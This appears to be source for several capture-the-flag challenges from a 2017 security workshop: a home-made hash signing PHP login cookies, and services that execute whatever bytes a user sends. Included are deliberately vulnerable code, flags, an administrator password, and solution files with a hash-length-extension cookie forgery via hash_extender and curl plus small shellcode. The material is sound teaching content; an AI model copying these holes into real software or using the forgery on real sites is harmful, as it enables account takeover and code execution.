binary-to-string.rb ") 11 | exit() 12 | end 13 | 14 | file = ARGV[0] 15 | 16 | if(file.end_with?('.asm')) 17 | if(system("nasm -o #{file}.bin #{file}")) 18 | p(file + '.bin') 19 | File.delete(file + '.bin') 20 | end 21 | else 22 | p(file) 23 | end 24 | -------------------------------------------------------------------------------- /tools/run-raw-code.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int main(int argc, char *argv[]){ 9 | struct stat statbuf; 10 | if (stat(argv[1], &statbuf) == -1) { 11 | printf("Usage: %s \n", argv[0]); 12 | exit(0); 13 | } 14 | 15 | void * a = mmap(0, statbuf.st_size, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0); 16 | printf("allocated %zd bytes of executable memory at: %p\n", (size_t)statbuf.st_size, a); 17 | 18 | FILE *file = fopen(argv[1], "rb"); 19 | if(read(fileno(file), a, statbuf.st_size) != statbuf.st_size) 20 | { 21 | fprintf(stderr, "Failed to read() the entire file!\n"); 22 | exit(1); 23 | } 24 | 25 | /* Give it 10 seconds to run before killing the process with SIGALRM */ 26 | alarm(10); 27 | asm("jmp *%0\n" : :"r"(a)); 28 | } 29 | -------------------------------------------------------------------------------- /vhash/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/vhash 6 | 7 | .PHONY: container push deploy delete redeploy deploy-service delete 8 | 9 | container: 10 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 11 | 12 | # Push the container to the google container registry. 13 | # This is the first step in deploying the challenge 14 | push: 15 | gcloud docker -- push ${CONTAINER_TAG} 16 | 17 | # Deploy the challenge to kubernetes 18 | deploy: 19 | kubectl create -f deployment/deploy.yaml 20 | 21 | redeploy: 22 | kubectl delete -f deployment/deploy.yaml 23 | kubectl create -f deployment/deploy.yaml 24 | 25 | # This is what exposes the container to the world 26 | deploy-service: 27 | kubectl create -f deployment/service.yaml 28 | 29 | # Delete the challenge from our cluster 30 | delete: 31 | kubectl delete -f deployment/deploy.yaml 32 | kubectl create -f deployment/service.yaml 33 | -------------------------------------------------------------------------------- /vhash/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.0-apache 2 | 3 | # Upload the PHP stuff 4 | ADD php_src/*.php /var/www/html/ 5 | 6 | # Upload the binary part 7 | RUN mkdir /home/ctf 8 | WORKDIR /home/ctf 9 | ADD c_src/* /home/ctf/ 10 | RUN make 11 | 12 | EXPOSE 80 13 | -------------------------------------------------------------------------------- /vhash/challenge/c_src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | 3 | #CFLAGS=-Wall -march=native -O3 4 | #CFLAGS=-Wall -O2 -g 5 | #CFLAGS=-Wall -march=native -O2 -pg 6 | #CFLAGS=-Wall -march=native -O0 -g 7 | CFLAGS=-Wall -O0 -g 8 | 9 | main: vhash 10 | 11 | vhash: vhash.o 12 | $(CC) $(CFLAGS) -o vhash vhash.o 13 | 14 | vhash.o: vhash.c 15 | $(CC) $(CFLAGS) -c vhash.c 16 | 17 | clean: 18 | rm -f vhash 19 | rm -f *.o 20 | rm -f *~ 21 | rm -f \#* 22 | -------------------------------------------------------------------------------- /vhash/challenge/c_src/vhash: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iagox86/ctfworkshop-2017/ade89cc559a2e9ada8dc927d9ed2f52f30d0bf4d/vhash/challenge/c_src/vhash -------------------------------------------------------------------------------- /vhash/challenge/c_src/vhash.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define VHASHSTATESIZE 32 8 | #define VHASHBLOCKSIZE 4 9 | #define ROTATEUPWARDSN(x, n) (((x) << (n)) | ((x) >> (32 - (n)))) 10 | #define WSWAP(a, b, t) {t = a; a = b; b = t;} 11 | #define ADDBYTE(b, bl, n) {bl[(n) / 4] |= (b) << (24 - (((n) % 4) * 8));} 12 | 13 | #ifndef DEBUG 14 | #define DEBUG 0 15 | #endif 16 | 17 | /* Viagra Hash -- Built for maximum length extension */ 18 | 19 | 20 | /* Vhash Context */ 21 | struct vhash_ctx { 22 | uint32_t state[32]; 23 | }; 24 | 25 | void vhash_init(struct vhash_ctx *); 26 | void vhash_round(struct vhash_ctx *); 27 | void vhash_update(struct vhash_ctx *, uint32_t (*)[VHASHBLOCKSIZE]); 28 | void vhash_final(struct vhash_ctx *, uint32_t); 29 | void print_block(uint32_t (*)[VHASHBLOCKSIZE]); 30 | void print_state(struct vhash_ctx *); 31 | 32 | 33 | void vhash_init(struct vhash_ctx *vctx) { 34 | 35 | /* They call them 'words' for a reason, right? */ 36 | memcpy(&(vctx->state[0]), "vhas", sizeof(uint32_t)); 37 | memcpy(&(vctx->state[1]), "h: r", sizeof(uint32_t)); 38 | memcpy(&(vctx->state[2]), "ock ", sizeof(uint32_t)); 39 | memcpy(&(vctx->state[3]), "hard", sizeof(uint32_t)); 40 | memcpy(&(vctx->state[4]), " 102", sizeof(uint32_t)); 41 | memcpy(&(vctx->state[5]), "4 bi", sizeof(uint32_t)); 42 | memcpy(&(vctx->state[6]), "t se", sizeof(uint32_t)); 43 | memcpy(&(vctx->state[7]), "curi", sizeof(uint32_t)); 44 | memcpy(&(vctx->state[8]), "ty. ", sizeof(uint32_t)); 45 | memcpy(&(vctx->state[9]), "For ", sizeof(uint32_t)); 46 | memcpy(&(vctx->state[10]), "thos", sizeof(uint32_t)); 47 | memcpy(&(vctx->state[11]), "e sp", sizeof(uint32_t)); 48 | memcpy(&(vctx->state[12]), "ecia", sizeof(uint32_t)); 49 | memcpy(&(vctx->state[13]), "l mo", sizeof(uint32_t)); 50 | memcpy(&(vctx->state[14]), "mome", sizeof(uint32_t)); 51 | memcpy(&(vctx->state[15]), "nts ", sizeof(uint32_t)); 52 | memcpy(&(vctx->state[16]), "when", sizeof(uint32_t)); 53 | memcpy(&(vctx->state[17]), " you", sizeof(uint32_t)); 54 | memcpy(&(vctx->state[18]), " nee", sizeof(uint32_t)); 55 | memcpy(&(vctx->state[19]), "d th", sizeof(uint32_t)); 56 | memcpy(&(vctx->state[20]), "robb", sizeof(uint32_t)); 57 | memcpy(&(vctx->state[21]), "ing ", sizeof(uint32_t)); 58 | memcpy(&(vctx->state[22]), "perf", sizeof(uint32_t)); 59 | memcpy(&(vctx->state[23]), "orma", sizeof(uint32_t)); 60 | memcpy(&(vctx->state[24]), "nce.", sizeof(uint32_t)); 61 | memcpy(&(vctx->state[25]), " Ask", sizeof(uint32_t)); 62 | memcpy(&(vctx->state[26]), " you", sizeof(uint32_t)); 63 | memcpy(&(vctx->state[27]), "r do", sizeof(uint32_t)); 64 | memcpy(&(vctx->state[28]), "ctor", sizeof(uint32_t)); 65 | memcpy(&(vctx->state[29]), " abo", sizeof(uint32_t)); 66 | memcpy(&(vctx->state[30]), "ut v", sizeof(uint32_t)); 67 | memcpy(&(vctx->state[31]), "hash", sizeof(uint32_t)); 68 | } 69 | 70 | 71 | void vhash_round(struct vhash_ctx *vctx) { 72 | 73 | int i; 74 | uint32_t t; /* temp var */ 75 | 76 | /* Add 1 to every word */ 77 | for (i = 0; i < 32; i++) { 78 | vctx->state[i] += 1; 79 | } 80 | 81 | /* Rotate each each word by it's index */ 82 | for (i = 0; i < 32; i++) { 83 | vctx->state[i] = ROTATEUPWARDSN(vctx->state[i], i); 84 | } 85 | 86 | /* s[n] = s[n] + s[n + 1] */ 87 | for (i = 0; i < 32; i++) { 88 | vctx->state[i] += vctx->state[(i + 1) % 32]; 89 | } 90 | 91 | /* s[n] = s[n] ^ s[n + 7] */ 92 | for (i = 0; i < 32; i++) { 93 | vctx->state[i] ^= vctx->state[(i + 7) % 32]; 94 | } 95 | 96 | /* Rotate whole thing to the left */ 97 | t = vctx->state[0]; 98 | for (i = 0; i < 31; i++) { 99 | vctx->state[i] = vctx->state[i + 1]; 100 | } 101 | vctx->state[31] = t; 102 | 103 | } 104 | 105 | 106 | void vhash_update(struct vhash_ctx *vctx, uint32_t (*in)[VHASHBLOCKSIZE]) { 107 | 108 | int i; 109 | 110 | /* Add the input into the state */ 111 | for (i = 0; i < 32; i++) { 112 | vctx->state[i] += (*in)[i % VHASHBLOCKSIZE]; 113 | } 114 | /* Now do 512 rounds */ 115 | for (i = 0; i < 512; i++) { 116 | vhash_round(vctx); 117 | } 118 | 119 | /* XOR the input into the state */ 120 | for (i = 0; i < 32; i++) { 121 | vctx->state[i] ^= (*in)[i % VHASHBLOCKSIZE]; 122 | } 123 | /* Now do 512 rounds */ 124 | for (i = 0; i < 512; i++) { 125 | vhash_round(vctx); 126 | } 127 | } 128 | 129 | 130 | void vhash_final(struct vhash_ctx *vctx, uint32_t len) { 131 | 132 | uint32_t f[VHASHBLOCKSIZE]; 133 | 134 | f[0] = 0x80000000; 135 | f[1] = len; 136 | f[2] = 0x00000000; 137 | f[3] = 0xffffffff; 138 | 139 | if (DEBUG) { 140 | fprintf(stderr, "\n"); 141 | fprintf(stderr, "Adding final block to state:\n"); 142 | print_block(&(f)); 143 | fprintf(stderr, "\n"); 144 | } 145 | 146 | vhash_update(vctx, &f); 147 | } 148 | 149 | 150 | void print_block(uint32_t (*block)[VHASHBLOCKSIZE]) { 151 | 152 | fprintf(stderr, "Block: %08x %08x %08x %08x\n", 153 | (*block)[0], (*block)[1], (*block)[2], (*block)[3]); 154 | } 155 | 156 | 157 | void print_state(struct vhash_ctx *vctx) { 158 | 159 | int i; 160 | 161 | fprintf(stderr, "State:\n"); 162 | for (i = 0; i < (VHASHSTATESIZE / 4); i++) { 163 | fprintf(stderr, "%08x %08x %08x %08x\n", 164 | vctx->state[(i * 4) + 0], vctx->state[(i * 4) + 1], 165 | vctx->state[(i * 4) + 2], vctx->state[(i * 4) + 3]); 166 | } 167 | } 168 | 169 | 170 | void print_hash(struct vhash_ctx *vctx) { 171 | 172 | int i; 173 | 174 | for (i = 0; i < (VHASHSTATESIZE / 4); i++) { 175 | printf("%08x%08x%08x%08x", 176 | vctx->state[(i * 4) + 0], vctx->state[(i * 4) + 1], 177 | vctx->state[(i * 4) + 2], vctx->state[(i * 4) + 3]); 178 | } 179 | } 180 | 181 | 182 | int main(void) { 183 | 184 | int i; 185 | 186 | struct vhash_ctx vctx; 187 | uint32_t block[VHASHBLOCKSIZE]; 188 | uint32_t size; 189 | uint8_t inbyte; 190 | ssize_t ret; 191 | int done = 0; 192 | 193 | vhash_init(&(vctx)); 194 | if (DEBUG) { 195 | fprintf(stderr, "\n"); 196 | fprintf(stderr, "vhash state initialized\n"); 197 | print_state(&(vctx)); 198 | fprintf(stderr, "\n"); 199 | } 200 | 201 | size = 0; 202 | while (done == 0) { 203 | memset(&block, 0, sizeof(block)); 204 | 205 | for (i = 0; i < (VHASHBLOCKSIZE * sizeof(uint32_t)); i++) { 206 | ret = read(0, &inbyte, sizeof(uint8_t)); 207 | 208 | if (ret == 1) { 209 | size++; 210 | /*fprintf(stderr, "Got byte: %02x\n", inbyte);*/ 211 | ADDBYTE(inbyte, block, i); 212 | } 213 | else if (ret < 1) { 214 | if (DEBUG) { 215 | fprintf(stderr, "\n"); 216 | fprintf(stderr, "Got end of input\n"); 217 | fprintf(stderr, "Final block padded with %ld nulls\n", 218 | (VHASHBLOCKSIZE * sizeof(uint32_t)) - i); 219 | fprintf(stderr, "\n"); 220 | } 221 | 222 | done = 1; 223 | break; 224 | } 225 | } 226 | if (DEBUG) { 227 | fprintf(stderr, "\n"); 228 | fprintf(stderr, "Adding block to state:\n"); 229 | print_block(&(block)); 230 | fprintf(stderr, "\n"); 231 | } 232 | 233 | vhash_update(&(vctx), &(block)); 234 | } 235 | vhash_final(&(vctx), size); 236 | 237 | if (DEBUG) { 238 | fprintf(stderr, "\n"); 239 | fprintf(stderr, "final vhash state (this is the hash value)\n"); 240 | print_state(&(vctx)); 241 | fprintf(stderr, "\n"); 242 | } 243 | 244 | print_hash(&(vctx)); 245 | printf(" -\n"); 246 | 247 | return 0; 248 | } 249 | -------------------------------------------------------------------------------- /vhash/challenge/php_src/auth.php: -------------------------------------------------------------------------------- 1 | 'bmLhVHjius', 7 | 'guest' => 'guest', 8 | ); 9 | 10 | function is_valid($username, $password) 11 | { 12 | global $accts; 13 | 14 | return array_key_exists($username, $accts) && $accts[$username] === $password; 15 | } 16 | ?> 17 | -------------------------------------------------------------------------------- /vhash/challenge/php_src/index.php: -------------------------------------------------------------------------------- 1 | Login successful!\n"; 35 | print "

Setting cookie: auth=$cookie

\n"; 36 | } else { 37 | print "

Username or password was incorrect!

\n"; 38 | } 39 | print "

Click here to continue!

\n"; 40 | exit(0); 41 | } 42 | 43 | if(!isset($_COOKIE['auth'])) { 44 | require_once('./login_form.php'); 45 | exit(0); 46 | } 47 | 48 | list($hmac, $cookie) = explode('|', $_COOKIE['auth'], 2); 49 | if(create_hmac($cookie) !== $hmac) { 50 | setcookie('auth', ''); 51 | print "

Something was wrong with your auth cookie!

\n"; 52 | print "

Click here to log in again!

\n"; 53 | exit(); 54 | } 55 | 56 | $pairs = explode('&', $cookie); 57 | $args = array(); 58 | foreach($pairs as $pair) { 59 | if(!strpos($pair, '=')) 60 | continue; 61 | 62 | list($name, $value) = explode('=', $pair, 2); 63 | $args[$name] = $value; 64 | } 65 | $username = $args['username']; 66 | 67 | print "

Welcome back, $username!

\n"; 68 | if($username == 'administrator') { 69 | print "

Congratulations, you're the administrator! Here's your reward:

\n"; 70 | print "

" . FLAG . "

\n"; 71 | } else { 72 | print "

It's cool that you logged in, but unfortunately we can only give the flag to 'administrator'. :(

\n"; 73 | } 74 | print "

Log out

\n"; 75 | ?> 76 | -------------------------------------------------------------------------------- /vhash/challenge/php_src/login_form.php: -------------------------------------------------------------------------------- 1 |

Please log in!

2 | 3 |
4 |

Username:

5 |

Password:

6 |

7 |

Note: bruteforcing is NOT required or allowed here, and could result in a ban!Hint: try guest/guest

8 |
9 | -------------------------------------------------------------------------------- /vhash/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: vhash 6 | spec: 7 | replicas: 2 8 | template: 9 | metadata: 10 | labels: 11 | app: vhash 12 | spec: 13 | containers: 14 | - name: vhash 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/vhash 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 80 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /vhash/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: vhash-service 5 | annotations: 6 | service.beta.kubernetes.io/external-traffic: "OnlyLocal" 7 | labels: 8 | app: vhash 9 | spec: 10 | type: LoadBalancer 11 | ports: 12 | - port: 80 13 | targetPort: 80 14 | selector: 15 | app: vhash 16 | -------------------------------------------------------------------------------- /vhash/distfiles/README.md: -------------------------------------------------------------------------------- 1 | Can you gain admin access to this site? 2 | 3 | (The `vhash` binary is what's used for signing the cookie) 4 | -------------------------------------------------------------------------------- /vhash/distfiles/index.php: -------------------------------------------------------------------------------- 1 | ../challenge/php_src/index.php -------------------------------------------------------------------------------- /vhash/distfiles/vhash: -------------------------------------------------------------------------------- 1 | ../challenge/c_src/vhash -------------------------------------------------------------------------------- /vhash/solution/README.md: -------------------------------------------------------------------------------- 1 | # Solution for md5... 2 | 3 | Go to the site and log in; you'll get a cookie set such as: 4 | 5 | auth=e4d689c098b13d8da9a211417dba116a|username=guest&date=2017-01-28T17:12:33-0800&secret_length=8& 6 | 7 | Put that cookie's signature and value into hash_extender to add &username=administrator: 8 | 9 | $ ./hash_extender -d 'username=guest&date=2017-01-28T17:12:33-0800&secret_length=8&' -s 'e4d689c098b13d8da9a211417dba116a' -a '&username=administrator' -f md5 -l 8 --out-data-format html 10 | Type: md5 11 | Secret length: 8 12 | New signature: 20b2b9797bfaead8e204af5466ebced7 13 | New string: username%3dguest%26date%3d2017%2d01%2d28T17%3a12%3a33%2d0800%26secret%5flength%3d8%26%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%28%02%00%00%00%00%00%00%26username%3dadministrator 14 | 15 | Send it with curl: 16 | 17 | $ curl -H 'Cookie: auth=20b2b9797bfaead8e204af5466ebced7%7Cusername%3dguest%26date%3d2017%2d01%2d28T17%3a12%3a33%2d0800%26secret%5flength%3d8%26%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%28%02%00%00%00%00%00%00%26username%3dadministrator' http://localhost/index.php 18 |

Welcome back, administrator!

19 |

Congratulations, you're the administrator! Here's your reward:

20 |

FLAG:180e2300112ef5a4f23c93cfdec8d780

21 |

Log out

22 | 23 | And that's it! 24 | 25 | # Solution for vhash... 26 | 27 | First, one must reverse engineer the hash from the vhash binary. 28 | 29 | Then, they have to implement a hash-extension attack against it. 30 | 31 | The rest is pretty much the same. :) 32 | -------------------------------------------------------------------------------- /writemem-nz/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/writemem-nz 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | # Push the container to the google container registry. 15 | # This is the first step in deploying the challenge 16 | push: 17 | gcloud docker -- push ${CONTAINER_TAG} 18 | 19 | # Deploy the challenge to kubernetes 20 | deploy: 21 | kubectl create -f deployment/deploy.yaml 22 | 23 | redeploy: 24 | # Errr... I guess this works 25 | kubectl delete -f deployment/deploy.yaml 26 | kubectl create -f deployment/deploy.yaml 27 | 28 | # This is what exposes the container to the world 29 | deploy-service: 30 | kubectl create -f deployment/service.yaml 31 | 32 | # Delete the challenge from our cluster 33 | delete: 34 | kubectl delete -f deployment/deploy.yaml 35 | kubectl delete -f deployment/service.yaml 36 | -------------------------------------------------------------------------------- /writemem-nz/README.md: -------------------------------------------------------------------------------- 1 | This level requires a user to write some very, very simple shellcode. 2 | -------------------------------------------------------------------------------- /writemem-nz/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 libssl-dev coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | # Set up xinetd 13 | ADD xinetd.conf /etc/xinetd.conf 14 | RUN mkdir /var/log/xinetd/ 15 | 16 | ADD writemem-nz.xinetd /etc/xinetd.d/writemem-nz 17 | 18 | USER root 19 | EXPOSE 6119 20 | 21 | CMD service xinetd restart && tail -F /var/log/xinetd/xinetd.log 22 | -------------------------------------------------------------------------------- /writemem-nz/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | OBJS=writemem-nz.o 3 | 4 | writemem-nz: ${OBJS} 5 | ${CC} -m32 ${CFLAGS} -o writemem-nz writemem-nz.c 6 | 7 | clean: 8 | rm -fv *.o writemem-nz core core.* 9 | -------------------------------------------------------------------------------- /writemem-nz/challenge/src/flag.h: -------------------------------------------------------------------------------- 1 | #define FLAG "91555dee6d1defcef5d44ae5687abcbc" 2 | -------------------------------------------------------------------------------- /writemem-nz/challenge/src/writemem-nz.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "flag.h" 9 | 10 | #define LENGTH 1024 11 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 12 | 13 | int main(int argc, char *argv[]) 14 | { 15 | uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 16 | ssize_t len; 17 | int guard = 0; 18 | int i; 19 | 20 | alarm(10); 21 | 22 | disable_buffering(stdout); 23 | disable_buffering(stderr); 24 | 25 | printf("Send me stuff!! Your goal: set guard variable @ %p to 1\n", &guard); 26 | len = read(0, buffer, LENGTH); 27 | 28 | if(len < 0) { 29 | printf("Error reading!\n"); 30 | exit(1); 31 | } 32 | 33 | for(i = 0; i < len; i++) { 34 | if(buffer[i] == '\0') { 35 | printf("No NUL bytes!!\n"); 36 | return 0; 37 | } 38 | } 39 | 40 | asm("call *%0\n" : :"r"(buffer)); 41 | 42 | if(guard != 1) { 43 | printf("Set guard to 1!\n"); 44 | return 0; 45 | } 46 | printf("Flag: %s\n", FLAG); 47 | 48 | return 0; 49 | } 50 | -------------------------------------------------------------------------------- /writemem-nz/challenge/writemem-nz.xinetd: -------------------------------------------------------------------------------- 1 | service writemem-nz 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6119 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/writemem-nz 12 | type = UNLISTED 13 | } 14 | -------------------------------------------------------------------------------- /writemem-nz/challenge/xinetd.conf: -------------------------------------------------------------------------------- 1 | # Simple configuration file for xinetd 2 | # 3 | # Some defaults, and include /etc/xinetd.d/ 4 | 5 | defaults 6 | { 7 | 8 | # Please note that you need a log_type line to be able to use log_on_success 9 | # and log_on_failure. The default is the following : 10 | log_type = FILE /var/log/xinetd/xinetd.log 11 | log_on_success = HOST PID DURATION 12 | 13 | } 14 | 15 | includedir /etc/xinetd.d 16 | -------------------------------------------------------------------------------- /writemem-nz/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: writemem-nz 6 | spec: 7 | replicas: 2 8 | template: 9 | metadata: 10 | labels: 11 | app: writemem-nz 12 | spec: 13 | containers: 14 | - name: writemem-nz 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/writemem-nz 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6119 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /writemem-nz/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: writemem-nz-service 5 | labels: 6 | app: writemem-nz 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6119 11 | targetPort: 6119 12 | selector: 13 | app: writemem-nz 14 | -------------------------------------------------------------------------------- /writemem-nz/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /writemem-nz/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. Easy peaasy! 2 | 3 | (The server will give you further instructions) 4 | -------------------------------------------------------------------------------- /writemem-nz/distfiles/writemem-nz.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/writemem-nz.c -------------------------------------------------------------------------------- /writemem-nz/solution/pwn.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | mov eax, 0x41414141 4 | xor ebx, ebx 5 | mov bl, 1 6 | mov dword [eax], ebx 7 | ret 8 | -------------------------------------------------------------------------------- /writemem/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/writemem 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | # Push the container to the google container registry. 15 | # This is the first step in deploying the challenge 16 | push: 17 | gcloud docker -- push ${CONTAINER_TAG} 18 | 19 | # Deploy the challenge to kubernetes 20 | deploy: 21 | kubectl create -f deployment/deploy.yaml 22 | 23 | redeploy: 24 | # Errr... I guess this works 25 | kubectl delete -f deployment/deploy.yaml 26 | kubectl create -f deployment/deploy.yaml 27 | 28 | # This is what exposes the container to the world 29 | deploy-service: 30 | kubectl create -f deployment/service.yaml 31 | 32 | # Delete the challenge from our cluster 33 | delete: 34 | kubectl delete -f deployment/deploy.yaml 35 | kubectl delete -f deployment/service.yaml 36 | -------------------------------------------------------------------------------- /writemem/README.md: -------------------------------------------------------------------------------- 1 | This level requires a user to write some very, very simple shellcode. 2 | -------------------------------------------------------------------------------- /writemem/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 libssl-dev coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | # Set up xinetd 13 | ADD xinetd.conf /etc/xinetd.conf 14 | RUN mkdir /var/log/xinetd/ 15 | 16 | ADD writemem.xinetd /etc/xinetd.d/writemem 17 | 18 | USER root 19 | EXPOSE 6118 20 | 21 | CMD service xinetd restart && tail -F /var/log/xinetd/xinetd.log 22 | -------------------------------------------------------------------------------- /writemem/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | OBJS=writemem.o 3 | 4 | writemem: ${OBJS} 5 | ${CC} -m32 ${CFLAGS} -o writemem writemem.c 6 | 7 | clean: 8 | rm -fv *.o writemem core core.* 9 | -------------------------------------------------------------------------------- /writemem/challenge/src/flag.h: -------------------------------------------------------------------------------- 1 | #define FLAG "3f1b3f32aca7ac2d46500125c15a5993" 2 | 3 | -------------------------------------------------------------------------------- /writemem/challenge/src/writemem.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "flag.h" 9 | 10 | #define LENGTH 1024 11 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 12 | 13 | int main(int argc, char *argv[]) 14 | { 15 | uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 16 | ssize_t len; 17 | int guard = 0; 18 | 19 | alarm(10); 20 | 21 | disable_buffering(stdout); 22 | disable_buffering(stderr); 23 | 24 | printf("Send me stuff!! Your goal: set guard variable @ %p to 1\n", &guard); 25 | len = read(0, buffer, LENGTH); 26 | 27 | if(len < 0) { 28 | printf("Error reading!\n"); 29 | exit(1); 30 | } 31 | 32 | asm("call *%0\n" : :"r"(buffer)); 33 | 34 | if(guard != 1) { 35 | printf("Set guard to 1!\n"); 36 | return 0; 37 | } 38 | printf("Flag: %s\n", FLAG); 39 | 40 | return 0; 41 | } 42 | -------------------------------------------------------------------------------- /writemem/challenge/writemem.xinetd: -------------------------------------------------------------------------------- 1 | service writemem 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6118 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/writemem 12 | type = UNLISTED 13 | } 14 | -------------------------------------------------------------------------------- /writemem/challenge/xinetd.conf: -------------------------------------------------------------------------------- 1 | # Simple configuration file for xinetd 2 | # 3 | # Some defaults, and include /etc/xinetd.d/ 4 | 5 | defaults 6 | { 7 | 8 | # Please note that you need a log_type line to be able to use log_on_success 9 | # and log_on_failure. The default is the following : 10 | log_type = FILE /var/log/xinetd/xinetd.log 11 | log_on_success = HOST PID DURATION 12 | 13 | } 14 | 15 | includedir /etc/xinetd.d 16 | -------------------------------------------------------------------------------- /writemem/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: writemem 6 | spec: 7 | replicas: 2 8 | template: 9 | metadata: 10 | labels: 11 | app: writemem 12 | spec: 13 | containers: 14 | - name: writemem 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/writemem 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6118 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /writemem/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: writemem-service 5 | labels: 6 | app: writemem 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6118 11 | targetPort: 6118 12 | selector: 13 | app: writemem 14 | -------------------------------------------------------------------------------- 